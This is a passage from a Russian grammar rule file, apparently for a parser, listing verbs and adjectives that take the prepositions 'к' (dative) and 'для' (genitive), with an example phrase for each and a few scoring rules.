rus_verbs:прибегать{}, // прибегать к насилию
rus_verbs:побудить{}, // побудить к действиям
rus_verbs:притягивать{}, // притягивать к себе
rus_verbs:пристроить{}, // пристроить к полезному делу
rus_verbs:приговорить{}, // приговорить к смерти
rus_verbs:склоняться{}, // склоняться к прекращению разработки
rus_verbs:подъезжать{}, // подъезжать к вокзалу
rus_verbs:привалиться{}, // привалиться к забору
rus_verbs:наклоняться{}, // наклоняться к щенку
rus_verbs:подоспеть{}, // подоспеть к обеду
rus_verbs:прилипнуть{}, // прилипнуть к окну
rus_verbs:приволочь{}, // приволочь к себе
rus_verbs:устремляться{}, // устремляться к вершине
rus_verbs:откатиться{}, // откатиться к исходным позициям
rus_verbs:побуждать{}, // побуждать к действиям
rus_verbs:прискакать{}, // прискакать к кормежке
rus_verbs:присматриваться{}, // присматриваться к новичку
rus_verbs:прижиматься{}, // прижиматься к борту
rus_verbs:жаться{}, // жаться к огню
rus_verbs:передвинуть{}, // передвинуть к окну
rus_verbs:допускаться{}, // допускаться к экзаменам
rus_verbs:прикрепить{}, // прикрепить к корпусу
rus_verbs:отправлять{}, // отправлять к специалистам
rus_verbs:перебежать{}, // перебежать к врагам
rus_verbs:притронуться{}, // притронуться к реликвии
rus_verbs:заспешить{}, // заспешить к семье
rus_verbs:ревновать{}, // ревновать к сопернице
rus_verbs:подступить{}, // подступить к горлу
rus_verbs:уводить{}, // уводить к ветеринару
rus_verbs:побросать{}, // побросать к ногам
rus_verbs:подаваться{}, // подаваться к ужину
rus_verbs:приписывать{}, // приписывать к достижениям
rus_verbs:относить{}, // относить к растениям
rus_verbs:принюхаться{}, // принюхаться к ароматам
rus_verbs:подтащить{}, // подтащить к себе
rus_verbs:прислонить{}, // прислонить к стене
rus_verbs:подплыть{}, // подплыть к бую
rus_verbs:опаздывать{}, // опаздывать к стилисту
rus_verbs:примкнуть{}, // примкнуть к деомнстрантам
rus_verbs:стекаться{}, // стекаются к стенам тюрьмы
rus_verbs:подготовиться{}, // подготовиться к марафону
rus_verbs:приглядываться{}, // приглядываться к новичку
rus_verbs:присоединяться{}, // присоединяться к сообществу
rus_verbs:клониться{}, // клониться ко сну
rus_verbs:привыкать{}, // привыкать к хорошему
rus_verbs:принудить{}, // принудить к миру
rus_verbs:уплыть{}, // уплыть к далекому берегу
rus_verbs:утащить{}, // утащить к детенышам
rus_verbs:приплыть{}, // приплыть к финишу
rus_verbs:подбегать{}, // подбегать к хозяину
rus_verbs:лишаться{}, // лишаться средств к существованию
rus_verbs:приступать{}, // приступать к операции
rus_verbs:пробуждать{}, // пробуждать лекцией интерес к математике
rus_verbs:подключить{}, // подключить к трубе
rus_verbs:подключиться{}, // подключиться к сети
rus_verbs:прилить{}, // прилить к лицу
rus_verbs:стучаться{}, // стучаться к соседям
rus_verbs:пристегнуть{}, // пристегнуть к креслу
rus_verbs:присоединить{}, // присоединить к сети
rus_verbs:отбежать{}, // отбежать к противоположной стене
rus_verbs:подвезти{}, // подвезти к набережной
rus_verbs:прибегнуть{}, // прибегнуть к хитрости
rus_verbs:приучить{}, // приучить к туалету
rus_verbs:подталкивать{}, // подталкивать к выходу
rus_verbs:прорываться{}, // прорываться к выходу
rus_verbs:увозить{}, // увозить к ветеринару
rus_verbs:засеменить{}, // засеменить к выходу
rus_verbs:крепиться{}, // крепиться к потолку
rus_verbs:прибрать{}, // прибрать к рукам
rus_verbs:пристраститься{}, // пристраститься к наркотикам
rus_verbs:поспеть{}, // поспеть к обеду
rus_verbs:привязывать{}, // привязывать к дереву
rus_verbs:прилагать{}, // прилагать к документам
rus_verbs:переправить{}, // переправить к дедушке
rus_verbs:подогнать{}, // подогнать к воротам
rus_verbs:тяготеть{}, // тяготеть к социализму
rus_verbs:подбираться{}, // подбираться к оленю
rus_verbs:подступать{}, // подступать к горлу
rus_verbs:примыкать{}, // примыкать к первому элементу
rus_verbs:приладить{}, // приладить к велосипеду
rus_verbs:подбрасывать{}, // подбрасывать к потолку
rus_verbs:перевозить{}, // перевозить к новому месту дислокации
rus_verbs:усаживаться{}, // усаживаться к окну
rus_verbs:приближать{}, // приближать к глазам
rus_verbs:попроситься{}, // попроситься к бабушке
rus_verbs:прибить{}, // прибить к доске
rus_verbs:перетащить{}, // перетащить к себе
rus_verbs:прицепить{}, // прицепить к паровозу
rus_verbs:прикладывать{}, // прикладывать к ране
rus_verbs:устареть{}, // устареть к началу войны
rus_verbs:причалить{}, // причалить к пристани
rus_verbs:приспособиться{}, // приспособиться к опозданиям
rus_verbs:принуждать{}, // принуждать к миру
rus_verbs:соваться{}, // соваться к директору
rus_verbs:протолкаться{}, // протолкаться к прилавку
rus_verbs:приковать{}, // приковать к батарее
rus_verbs:подкрадываться{}, // подкрадываться к суслику
rus_verbs:подсадить{}, // подсадить к арестонту
rus_verbs:прикатить{}, // прикатить к финишу
rus_verbs:протащить{}, // протащить к владыке
rus_verbs:сужаться{}, // сужаться к основанию
rus_verbs:присовокупить{}, // присовокупить к пожеланиям
rus_verbs:пригвоздить{}, // пригвоздить к доске
rus_verbs:отсылать{}, // отсылать к первоисточнику
rus_verbs:изготовиться{}, // изготовиться к прыжку
rus_verbs:прилагаться{}, // прилагаться к покупке
rus_verbs:прицепиться{}, // прицепиться к вагону
rus_verbs:примешиваться{}, // примешиваться к вину
rus_verbs:переселить{}, // переселить к старшекурсникам
rus_verbs:затрусить{}, // затрусить к выходе
rus_verbs:приспособить{}, // приспособить к обогреву
rus_verbs:примериться{}, // примериться к аппарату
rus_verbs:прибавляться{}, // прибавляться к пенсии
rus_verbs:подкатиться{}, // подкатиться к воротам
rus_verbs:стягивать{}, // стягивать к границе
rus_verbs:дописать{}, // дописать к роману
rus_verbs:подпустить{}, // подпустить к корове
rus_verbs:склонять{}, // склонять к сотрудничеству
rus_verbs:припечатать{}, // припечатать к стене
rus_verbs:охладеть{}, // охладеть к музыке
rus_verbs:пришить{}, // пришить к шинели
rus_verbs:принюхиваться{}, // принюхиваться к ветру
rus_verbs:подрулить{}, // подрулить к барышне
rus_verbs:наведаться{}, // наведаться к оракулу
rus_verbs:клеиться{}, // клеиться к конверту
rus_verbs:перетянуть{}, // перетянуть к себе
rus_verbs:переметнуться{}, // переметнуться к конкурентам
rus_verbs:липнуть{}, // липнуть к сокурсницам
rus_verbs:поковырять{}, // поковырять к выходу
rus_verbs:подпускать{}, // подпускать к пульту управления
rus_verbs:присосаться{}, // присосаться к источнику
rus_verbs:приклеить{}, // приклеить к стеклу
rus_verbs:подтягивать{}, // подтягивать к себе
rus_verbs:подкатывать{}, // подкатывать к даме
rus_verbs:притрагиваться{}, // притрагиваться к опухоли
rus_verbs:слетаться{}, // слетаться к водопою
rus_verbs:хаживать{}, // хаживать к батюшке
rus_verbs:привлекаться{}, // привлекаться к административной ответственности
rus_verbs:подзывать{}, // подзывать к себе
rus_verbs:прикладываться{}, // прикладываться к иконе
rus_verbs:подтягиваться{}, // подтягиваться к парламенту
rus_verbs:прилепить{}, // прилепить к стенке холодильника
rus_verbs:пододвинуться{}, // пододвинуться к экрану
rus_verbs:приползти{}, // приползти к дереву
rus_verbs:запаздывать{}, // запаздывать к обеду
rus_verbs:припереть{}, // припереть к стене
rus_verbs:нагибаться{}, // нагибаться к цветку
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять к воротам
деепричастие:сгоняв{},
rus_verbs:поковылять{}, // поковылять к выходу
rus_verbs:привалить{}, // привалить к столбу
rus_verbs:отпроситься{}, // отпроситься к родителям
rus_verbs:приспосабливаться{}, // приспосабливаться к новым условиям
rus_verbs:прилипать{}, // прилипать к рукам
rus_verbs:подсоединить{}, // подсоединить к приборам
rus_verbs:приливать{}, // приливать к голове
rus_verbs:подселить{}, // подселить к другим новичкам
rus_verbs:прилепиться{}, // прилепиться к шкуре
rus_verbs:подлетать{}, // подлетать к пункту назначения
rus_verbs:пристегнуться{}, // пристегнуться к креслу ремнями
rus_verbs:прибиться{}, // прибиться к стае, улетающей на юг
rus_verbs:льнуть{}, // льнуть к заботливому хозяину
rus_verbs:привязываться{}, // привязываться к любящему хозяину
rus_verbs:приклеиться{}, // приклеиться к спине
rus_verbs:стягиваться{}, // стягиваться к сенату
rus_verbs:подготавливать{}, // подготавливать к выходу на арену
rus_verbs:приглашаться{}, // приглашаться к доктору
rus_verbs:причислять{}, // причислять к отличникам
rus_verbs:приколоть{}, // приколоть к лацкану
rus_verbs:наклонять{}, // наклонять к горизонту
rus_verbs:припадать{}, // припадать к первоисточнику
rus_verbs:приобщиться{}, // приобщиться к культурному наследию
rus_verbs:придираться{}, // придираться к мелким ошибкам
rus_verbs:приучать{}, // приучать к лотку
rus_verbs:промотать{}, // промотать к началу
rus_verbs:прихлынуть{}, // прихлынуть к голове
rus_verbs:пришвартоваться{}, // пришвартоваться к первому пирсу
rus_verbs:прикрутить{}, // прикрутить к велосипеду
rus_verbs:подплывать{}, // подплывать к лодке
rus_verbs:приравниваться{}, // приравниваться к побегу
rus_verbs:подстрекать{}, // подстрекать к вооруженной борьбе с оккупантами
rus_verbs:изготовляться{}, // изготовляться к прыжку из стратосферы
rus_verbs:приткнуться{}, // приткнуться к первой группе туристов
rus_verbs:приручить{}, // приручить котика к лотку
rus_verbs:приковывать{}, // приковывать к себе все внимание прессы
rus_verbs:приготовляться{}, // приготовляться к первому экзамену
rus_verbs:остыть{}, // Вода остынет к утру.
rus_verbs:приехать{}, // Он приедет к концу будущей недели.
rus_verbs:подсаживаться{},
rus_verbs:успевать{}, // успевать к стилисту
rus_verbs:привлекать{}, // привлекать к себе внимание
прилагательное:устойчивый{}, // переводить в устойчивую к перегреву форму
rus_verbs:прийтись{}, // прийтись ко двору
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована к условиям крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
инфинитив:адаптироваться{вид:соверш}, // тело адаптировалось к условиям суровой зимы
инфинитив:адаптироваться{вид:несоверш},
глагол:адаптироваться{вид:соверш},
глагол:адаптироваться{вид:несоверш},
деепричастие:адаптировавшись{},
деепричастие:адаптируясь{},
прилагательное:адаптировавшийся{вид:соверш},
//+прилагательное:адаптировавшийся{вид:несоверш},
прилагательное:адаптирующийся{},
rus_verbs:апеллировать{}, // оратор апеллировал к патриотизму своих слушателей
rus_verbs:близиться{}, // Шторм близится к побережью
rus_verbs:доставить{}, // Эскиз ракеты, способной доставить корабль к Луне
rus_verbs:буксировать{}, // Буксир буксирует танкер к месту стоянки
rus_verbs:причислить{}, // Мы причислили его к числу экспертов
rus_verbs:вести{}, // Наша партия ведет народ к процветанию
rus_verbs:взывать{}, // Учителя взывают к совести хулигана
rus_verbs:воззвать{}, // воззвать соплеменников к оружию
rus_verbs:возревновать{}, // возревновать к поклонникам
rus_verbs:воспылать{}, // Коля воспылал к Оле страстной любовью
rus_verbs:восходить{}, // восходить к вершине
rus_verbs:восшествовать{}, // восшествовать к вершине
rus_verbs:успеть{}, // успеть к обеду
rus_verbs:повернуться{}, // повернуться к кому-то
rus_verbs:обратиться{}, // обратиться к охраннику
rus_verbs:звать{}, // звать к столу
rus_verbs:отправиться{}, // отправиться к парикмахеру
rus_verbs:обернуться{}, // обернуться к зовущему
rus_verbs:явиться{}, // явиться к следователю
rus_verbs:уехать{}, // уехать к родне
rus_verbs:прибыть{}, // прибыть к перекличке
rus_verbs:привыкнуть{}, // привыкнуть к голоду
rus_verbs:уходить{}, // уходить к цыганам
rus_verbs:привести{}, // привести к себе
rus_verbs:шагнуть{}, // шагнуть к славе
rus_verbs:относиться{}, // относиться к прежним периодам
rus_verbs:подослать{}, // подослать к врагам
rus_verbs:поспешить{}, // поспешить к обеду
rus_verbs:зайти{}, // зайти к подруге
rus_verbs:позвать{}, // позвать к себе
rus_verbs:потянуться{}, // потянуться к рычагам
rus_verbs:пускать{}, // пускать к себе
rus_verbs:отвести{}, // отвести к врачу
rus_verbs:приблизиться{}, // приблизиться к решению задачи
rus_verbs:прижать{}, // прижать к стене
rus_verbs:отправить{}, // отправить к доктору
rus_verbs:падать{}, // падать к многолетним минимумам
rus_verbs:полезть{}, // полезть к дерущимся
rus_verbs:лезть{}, // Ты сама ко мне лезла!
rus_verbs:направить{}, // направить к майору
rus_verbs:приводить{}, // приводить к дантисту
rus_verbs:кинуться{}, // кинуться к двери
rus_verbs:поднести{}, // поднести к глазам
rus_verbs:подниматься{}, // подниматься к себе
rus_verbs:прибавить{}, // прибавить к результату
rus_verbs:зашагать{}, // зашагать к выходу
rus_verbs:склониться{}, // склониться к земле
rus_verbs:стремиться{}, // стремиться к вершине
rus_verbs:лететь{}, // лететь к родственникам
rus_verbs:ездить{}, // ездить к любовнице
rus_verbs:приближаться{}, // приближаться к финише
rus_verbs:помчаться{}, // помчаться к стоматологу
rus_verbs:прислушаться{}, // прислушаться к происходящему
rus_verbs:изменить{}, // изменить к лучшему собственную жизнь
rus_verbs:проявить{}, // проявить к погибшим сострадание
rus_verbs:подбежать{}, // подбежать к упавшему
rus_verbs:терять{}, // терять к партнерам доверие
rus_verbs:пропустить{}, // пропустить к певцу
rus_verbs:подвести{}, // подвести к глазам
rus_verbs:меняться{}, // меняться к лучшему
rus_verbs:заходить{}, // заходить к другу
rus_verbs:рвануться{}, // рвануться к воде
rus_verbs:привлечь{}, // привлечь к себе внимание
rus_verbs:присоединиться{}, // присоединиться к сети
rus_verbs:приезжать{}, // приезжать к дедушке
rus_verbs:дернуться{}, // дернуться к борту
rus_verbs:подъехать{}, // подъехать к воротам
rus_verbs:готовиться{}, // готовиться к дождю
rus_verbs:убежать{}, // убежать к маме
rus_verbs:поднимать{}, // поднимать к источнику сигнала
rus_verbs:отослать{}, // отослать к руководителю
rus_verbs:приготовиться{}, // приготовиться к худшему
rus_verbs:приступить{}, // приступить к выполнению обязанностей
rus_verbs:метнуться{}, // метнуться к фонтану
rus_verbs:прислушиваться{}, // прислушиваться к голосу разума
rus_verbs:побрести{}, // побрести к выходу
rus_verbs:мчаться{}, // мчаться к успеху
rus_verbs:нестись{}, // нестись к обрыву
rus_verbs:попадать{}, // попадать к хорошему костоправу
rus_verbs:опоздать{}, // опоздать к психотерапевту
rus_verbs:посылать{}, // посылать к доктору
rus_verbs:поплыть{}, // поплыть к берегу
rus_verbs:подтолкнуть{}, // подтолкнуть к активной работе
rus_verbs:отнести{}, // отнести животное к ветеринару
rus_verbs:прислониться{}, // прислониться к стволу
rus_verbs:наклонить{}, // наклонить к миске с молоком
rus_verbs:прикоснуться{}, // прикоснуться к поверхности
rus_verbs:увезти{}, // увезти к бабушке
rus_verbs:заканчиваться{}, // заканчиваться к концу путешествия
rus_verbs:подозвать{}, // подозвать к себе
rus_verbs:улететь{}, // улететь к теплым берегам
rus_verbs:ложиться{}, // ложиться к мужу
rus_verbs:убираться{}, // убираться к чертовой бабушке
rus_verbs:класть{}, // класть к другим документам
rus_verbs:доставлять{}, // доставлять к подъезду
rus_verbs:поворачиваться{}, // поворачиваться к источнику шума
rus_verbs:заглядывать{}, // заглядывать к любовнице
rus_verbs:занести{}, // занести к заказчикам
rus_verbs:прибежать{}, // прибежать к папе
rus_verbs:притянуть{}, // притянуть к причалу
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:подать{}, // он подал лимузин к подъезду
rus_verbs:подавать{}, // она подавала соус к мясу
rus_verbs:приобщаться{}, // приобщаться к культуре
прилагательное:неспособный{}, // Наша дочка неспособна к учению.
прилагательное:неприспособленный{}, // Эти устройства неприспособлены к работе в жару
прилагательное:предназначенный{}, // Старый дом предназначен к сносу.
прилагательное:внимательный{}, // Она всегда внимательна к гостям.
прилагательное:назначенный{}, // Дело назначено к докладу.
прилагательное:разрешенный{}, // Эта книга разрешена к печати.
прилагательное:снисходительный{}, // Этот учитель снисходителен к ученикам.
прилагательное:готовый{}, // Я готов к экзаменам.
прилагательное:требовательный{}, // Он очень требователен к себе.
прилагательное:жадный{}, // Он жаден к деньгам.
прилагательное:глухой{}, // Он глух к моей просьбе.
прилагательное:добрый{}, // Он добр к детям.
rus_verbs:проявлять{}, // Он всегда проявлял живой интерес к нашим делам.
rus_verbs:плыть{}, // Пароход плыл к берегу.
rus_verbs:пойти{}, // я пошел к доктору
rus_verbs:придти{}, // придти к выводу
rus_verbs:заглянуть{}, // Я заглянул к вам мимоходом.
rus_verbs:принадлежать{}, // Это существо принадлежит к разряду растений.
rus_verbs:подготавливаться{}, // Ученики подготавливаются к экзаменам.
rus_verbs:спускаться{}, // Улица круто спускается к реке.
rus_verbs:спуститься{}, // Мы спустились к реке.
rus_verbs:пустить{}, // пускать ко дну
rus_verbs:приговаривать{}, // Мы приговариваем тебя к пожизненному веселью!
rus_verbs:отойти{}, // Дом отошёл к племяннику.
rus_verbs:отходить{}, // Коля отходил ко сну.
rus_verbs:приходить{}, // местные жители к нему приходили лечиться
rus_verbs:кидаться{}, // не кидайся к столу
rus_verbs:ходить{}, // Она простудилась и сегодня ходила к врачу.
rus_verbs:закончиться{}, // Собрание закончилось к вечеру.
rus_verbs:послать{}, // Они выбрали своих депутатов и послали их к заведующему.
rus_verbs:направиться{}, // Мы сошли на берег и направились к городу.
rus_verbs:направляться{},
rus_verbs:свестись{}, // Всё свелось к нулю.
rus_verbs:прислать{}, // Пришлите кого-нибудь к ней.
rus_verbs:присылать{}, // Он присылал к должнику своих головорезов
rus_verbs:подлететь{}, // Самолёт подлетел к лесу.
rus_verbs:возвращаться{}, // он возвращается к старой работе
глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, деепричастие:находясь{},
прилагательное:находившийся{}, прилагательное:находящийся{}, // Япония находится к востоку от Китая.
rus_verbs:возвращать{}, // возвращать к жизни
rus_verbs:располагать{}, // Атмосфера располагает к работе.
rus_verbs:возвратить{}, // Колокольный звон возвратил меня к прошлому.
rus_verbs:поступить{}, // К нам поступила жалоба.
rus_verbs:поступать{}, // К нам поступают жалобы.
rus_verbs:прыгнуть{}, // Белка прыгнула к дереву
rus_verbs:торопиться{}, // пассажиры торопятся к выходу
rus_verbs:поторопиться{}, // поторопитесь к выходу
rus_verbs:вернуть{}, // вернуть к активной жизни
rus_verbs:припирать{}, // припирать к стенке
rus_verbs:проваливать{}, // Проваливай ко всем чертям!
rus_verbs:вбежать{}, // Коля вбежал ко мне
rus_verbs:вбегать{}, // Коля вбегал ко мне
глагол:забегать{ вид:несоверш }, // Коля забегал ко мне
rus_verbs:постучаться{}, // Коля постучался ко мне.
rus_verbs:повести{}, // Спросил я озорного Антонио и повел его к дому
rus_verbs:понести{}, // Мы понесли кота к ветеринару
rus_verbs:принести{}, // Я принес кота к ветеринару
rus_verbs:устремиться{}, // Мы устремились к ручью.
rus_verbs:подводить{}, // Учитель подводил детей к аквариуму
rus_verbs:следовать{}, // Я получил приказ следовать к месту нового назначения.
rus_verbs:пригласить{}, // Я пригласил к себе товарищей.
rus_verbs:собираться{}, // Я собираюсь к тебе в гости.
rus_verbs:собраться{}, // Маша собралась к дантисту
rus_verbs:сходить{}, // Я схожу к врачу.
rus_verbs:идти{}, // Маша уверенно шла к Пете
rus_verbs:измениться{}, // Основные индексы рынка акций РФ почти не изменились к закрытию.
rus_verbs:отыграть{}, // Российский рынок акций отыграл падение к закрытию.
rus_verbs:заканчивать{}, // Заканчивайте к обеду
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:окончить{}, //
rus_verbs:дозвониться{}, // Я не мог к вам дозвониться.
глагол:прийти{}, инфинитив:прийти{}, // Антонио пришел к Элеонор
rus_verbs:уйти{}, // Антонио ушел к Элеонор
rus_verbs:бежать{}, // Антонио бежит к Элеонор
rus_verbs:спешить{}, // Антонио спешит к Элеонор
rus_verbs:скакать{}, // Антонио скачет к Элеонор
rus_verbs:красться{}, // Антонио крадётся к Элеонор
rus_verbs:поскакать{}, // беглецы поскакали к холмам
rus_verbs:перейти{} // Антонио перешел к Элеонор
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} *:*{ падеж:дат } }
then return true
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:к{} *:*{} }
then return false,-5
}
#endregion Предлог_К
#region Предлог_ДЛЯ
// ------------------- С ПРЕДЛОГОМ 'ДЛЯ' ----------------------
wordentry_set Гл_ДЛЯ_Род={
частица:нет{}, // для меня нет других путей.
частица:нету{},
rus_verbs:ЗАДЕРЖАТЬ{}, // полиция может задержать их для выяснения всех обстоятельств и дальнейшего опознания. (ЗАДЕРЖАТЬ)
rus_verbs:ДЕЛАТЬСЯ{}, // это делалось для людей (ДЕЛАТЬСЯ)
rus_verbs:обернуться{}, // обернулась для греческого рынка труда банкротствами предприятий и масштабными сокращениями (обернуться)
rus_verbs:ПРЕДНАЗНАЧАТЬСЯ{}, // Скорее всего тяжелый клинок вообще не предназначался для бросков (ПРЕДНАЗНАЧАТЬСЯ)
rus_verbs:ПОЛУЧИТЬ{}, // ты можешь получить его для нас? (ПОЛУЧИТЬ)
rus_verbs:ПРИДУМАТЬ{}, // Ваш босс уже придумал для нас веселенькую смерть. (ПРИДУМАТЬ)
rus_verbs:оказаться{}, // это оказалось для них тяжелой задачей
rus_verbs:ГОВОРИТЬ{}, // теперь она говорила для нас обоих (ГОВОРИТЬ)
rus_verbs:ОСВОБОДИТЬ{}, // освободить ее для тебя? (ОСВОБОДИТЬ)
rus_verbs:работать{}, // Мы работаем для тех, кто ценит удобство
rus_verbs:СТАТЬ{}, // кем она станет для него? (СТАТЬ)
rus_verbs:ЯВИТЬСЯ{}, // вы для этого явились сюда? (ЯВИТЬСЯ)
rus_verbs:ПОТЕРЯТЬ{}, // жизнь потеряла для меня всякий смысл (ПОТЕРЯТЬ)
rus_verbs:УТРАТИТЬ{}, // мой мир утратил для меня всякое подобие смысла (УТРАТИТЬ)
rus_verbs:ДОСТАТЬ{}, // ты должен достать ее для меня! (ДОСТАТЬ)
rus_verbs:БРАТЬ{}, // некоторые берут для себя (БРАТЬ)
rus_verbs:ИМЕТЬ{}, // имею для вас новость (ИМЕТЬ)
rus_verbs:ЖДАТЬ{}, // тебя ждут для разговора (ЖДАТЬ)
rus_verbs:ПРОПАСТЬ{}, // совсем пропал для мира (ПРОПАСТЬ)
rus_verbs:ПОДНЯТЬ{}, // нас подняли для охоты (ПОДНЯТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // время остановилось для нее (ОСТАНОВИТЬСЯ)
rus_verbs:НАЧИНАТЬСЯ{}, // для него начинается новая жизнь (НАЧИНАТЬСЯ)
rus_verbs:КОНЧИТЬСЯ{}, // кончились для него эти игрушки (КОНЧИТЬСЯ)
rus_verbs:НАСТАТЬ{}, // для него настало время действовать (НАСТАТЬ)
rus_verbs:СТРОИТЬ{}, // для молодых строили новый дом (СТРОИТЬ)
rus_verbs:ВЗЯТЬ{}, // возьми для защиты этот меч (ВЗЯТЬ)
rus_verbs:ВЫЯСНИТЬ{}, // попытаюсь выяснить для вас всю цепочку (ВЫЯСНИТЬ)
rus_verbs:ПРИГОТОВИТЬ{}, // давай попробуем приготовить для них сюрприз (ПРИГОТОВИТЬ)
rus_verbs:ПОДХОДИТЬ{}, // берег моря мертвых подходил для этого идеально (ПОДХОДИТЬ)
rus_verbs:ОСТАТЬСЯ{}, // внешний вид этих тварей остался для нас загадкой (ОСТАТЬСЯ)
rus_verbs:ПРИВЕЗТИ{}, // для меня привезли пиво (ПРИВЕЗТИ)
прилагательное:ХАРАКТЕРНЫЙ{}, // Для всей территории края характерен умеренный континентальный климат (ХАРАКТЕРНЫЙ)
rus_verbs:ПРИВЕСТИ{}, // для меня белую лошадь привели (ПРИВЕСТИ ДЛЯ)
rus_verbs:ДЕРЖАТЬ{}, // их держат для суда (ДЕРЖАТЬ ДЛЯ)
rus_verbs:ПРЕДОСТАВИТЬ{}, // вьетнамец предоставил для мигрантов места проживания в ряде вологодских общежитий (ПРЕДОСТАВИТЬ ДЛЯ)
rus_verbs:ПРИДУМЫВАТЬ{}, // придумывая для этого разнообразные причины (ПРИДУМЫВАТЬ ДЛЯ)
rus_verbs:оставить{}, // или вообще решили оставить планету для себя
rus_verbs:оставлять{},
rus_verbs:ВОССТАНОВИТЬ{}, // как ты можешь восстановить это для меня? (ВОССТАНОВИТЬ ДЛЯ)
rus_verbs:ТАНЦЕВАТЬ{}, // а вы танцевали для меня танец семи покрывал (ТАНЦЕВАТЬ ДЛЯ)
rus_verbs:ДАТЬ{}, // твой принц дал мне это для тебя! (ДАТЬ ДЛЯ)
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // мужчина из лагеря решил воспользоваться для передвижения рекой (ВОСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:СЛУЖИТЬ{}, // они служили для разговоров (СЛУЖИТЬ ДЛЯ)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // Для вычисления радиуса поражения ядерных взрывов используется формула (ИСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬСЯ{}, // Применяется для изготовления алкогольных коктейлей (ПРИМЕНЯТЬСЯ ДЛЯ)
rus_verbs:СОВЕРШАТЬСЯ{}, // Для этого совершался специальный магический обряд (СОВЕРШАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНИТЬ{}, // а здесь попробуем применить ее для других целей. (ПРИМЕНИТЬ ДЛЯ)
rus_verbs:ПОЗВАТЬ{}, // ты позвал меня для настоящей работы. (ПОЗВАТЬ ДЛЯ)
rus_verbs:НАЧАТЬСЯ{}, // очередной денек начался для Любки неудачно (НАЧАТЬСЯ ДЛЯ)
rus_verbs:ПОСТАВИТЬ{}, // вас здесь для красоты поставили? (ПОСТАВИТЬ ДЛЯ)
rus_verbs:умереть{}, // или умерла для всяких чувств? (умереть для)
rus_verbs:ВЫБРАТЬ{}, // ты сам выбрал для себя этот путь. (ВЫБРАТЬ ДЛЯ)
rus_verbs:ОТМЕТИТЬ{}, // тот же отметил для себя другое. (ОТМЕТИТЬ ДЛЯ)
rus_verbs:УСТРОИТЬ{}, // мы хотим устроить для них школу. (УСТРОИТЬ ДЛЯ)
rus_verbs:БЫТЬ{}, // у меня есть для тебя работа. (БЫТЬ ДЛЯ)
rus_verbs:ВЫЙТИ{}, // для всего нашего поколения так вышло. (ВЫЙТИ ДЛЯ)
прилагательное:ВАЖНЫЙ{}, // именно твое мнение для нас крайне важно. (ВАЖНЫЙ ДЛЯ)
прилагательное:НУЖНЫЙ{}, // для любого племени нужна прежде всего сила. (НУЖЕН ДЛЯ)
прилагательное:ДОРОГОЙ{}, // эти места были дороги для них обоих. (ДОРОГОЙ ДЛЯ)
rus_verbs:НАСТУПИТЬ{}, // теперь для больших людей наступило время действий. (НАСТУПИТЬ ДЛЯ)
rus_verbs:ДАВАТЬ{}, // старый пень давал для этого хороший огонь. (ДАВАТЬ ДЛЯ)
rus_verbs:ГОДИТЬСЯ{}, // доброе старое время годится лишь для воспоминаний. (ГОДИТЬСЯ ДЛЯ)
rus_verbs:ТЕРЯТЬ{}, // время просто теряет для вас всякое значение. (ТЕРЯТЬ ДЛЯ)
rus_verbs:ЖЕНИТЬСЯ{}, // настало время жениться для пользы твоего клана. (ЖЕНИТЬСЯ ДЛЯ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // весь мир перестал существовать для них обоих. (СУЩЕСТВОВАТЬ ДЛЯ)
rus_verbs:ЖИТЬ{}, // жить для себя или жить для них. (ЖИТЬ ДЛЯ)
rus_verbs:открыть{}, // двери моего дома всегда открыты для вас. (ОТКРЫТЫЙ ДЛЯ)
rus_verbs:закрыть{}, // этот мир будет закрыт для них. (ЗАКРЫТЫЙ ДЛЯ)
rus_verbs:ТРЕБОВАТЬСЯ{}, // для этого требуется огромное количество энергии. (ТРЕБОВАТЬСЯ ДЛЯ)
rus_verbs:РАЗОРВАТЬ{}, // Алексей разорвал для этого свою рубаху. (РАЗОРВАТЬ ДЛЯ)
rus_verbs:ПОДОЙТИ{}, // вполне подойдет для начала нашей экспедиции. (ПОДОЙТИ ДЛЯ)
прилагательное:опасный{}, // сильный холод опасен для открытой раны. (ОПАСЕН ДЛЯ)
rus_verbs:ПРИЙТИ{}, // для вас пришло очень важное сообщение. (ПРИЙТИ ДЛЯ)
rus_verbs:вывести{}, // мы специально вывели этих животных для мяса.
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:оставаться{}, // механизм этого воздействия остается для меня загадкой. (остается для)
rus_verbs:ЯВЛЯТЬСЯ{}, // Чай является для китайцев обычным ежедневным напитком (ЯВЛЯТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬ{}, // Для оценок будущих изменений климата применяют модели общей циркуляции атмосферы. (ПРИМЕНЯТЬ ДЛЯ)
rus_verbs:ПОВТОРЯТЬ{}, // повторяю для Пети (ПОВТОРЯТЬ ДЛЯ)
rus_verbs:УПОТРЕБЛЯТЬ{}, // Краски, употребляемые для живописи (УПОТРЕБЛЯТЬ ДЛЯ)
rus_verbs:ВВЕСТИ{}, // Для злостных нарушителей предложили ввести повышенные штрафы (ВВЕСТИ ДЛЯ)
rus_verbs:найтись{}, // у вас найдется для него работа?
rus_verbs:заниматься{}, // они занимаются этим для развлечения. (заниматься для)
rus_verbs:заехать{}, // Коля заехал для обсуждения проекта
